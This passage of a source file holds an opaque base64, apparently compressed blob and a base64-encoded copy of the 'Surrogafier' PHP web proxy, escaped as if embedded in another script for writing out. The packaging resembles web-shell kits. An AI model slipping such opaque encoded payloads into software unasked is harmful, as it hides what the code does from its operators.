ehz03WG19GjAxomqCyj6gf4p5QRMzalHQxIxyg9yfD4v8VwZNDCnE/dcxpG4LmhhS9wVNDKnvBU0MKfTHFvL8ZVRbTwdNTKkjQWUPZsH44VlwxPL4ZSXLvx40MafeC5qYU4Sro2FOzUcTvE/5Q1hYofQJ/RksrjAxqZZWmJhU11eYmFQdFSYm1R0VJibVcIWJSbW3wsSkQl90crwWwHgdqDDbe7BC2c9ZYD+PVZgYVm/C/V5N/kSFiWn1QYWJaXVWpYlphf43dEyrxkoT0+qyStVfiOd/VaWJcXWTtkaG8EMDzvcdpfbj6IsT2hqcfg+B/eog+p8NkF8CZh+LF5D5/AfDEtvA0aeH/Uxu6u7FgwPd0ueoCedfCjr/VEH4O+lhpnimKdGyfDDgzW0GMPgUyPglgbEMHPdsZnPrpLj1DCBmIEJ/NpI9Y5AZhSB8mJEk39GBbwWLxx0CWcyoAP2sPBW0+GZ677n71q7J0MumRnsXyGAmDndrs1H/EmDvQheLMdl1PHUCL5sSNB2x2PyDOyk6usQ396OVm/huWsySqIcM58cj9+vPrT4tK8Ii9wGQ07CdPsI4I8T50Nl9oOICX85UMR9yeBFknNZN2WJgeBM/rxzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRz+b4T/BjfpCEwAGAEA\";\r\n\r\n\$phpproxy=\"\r\nPD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSW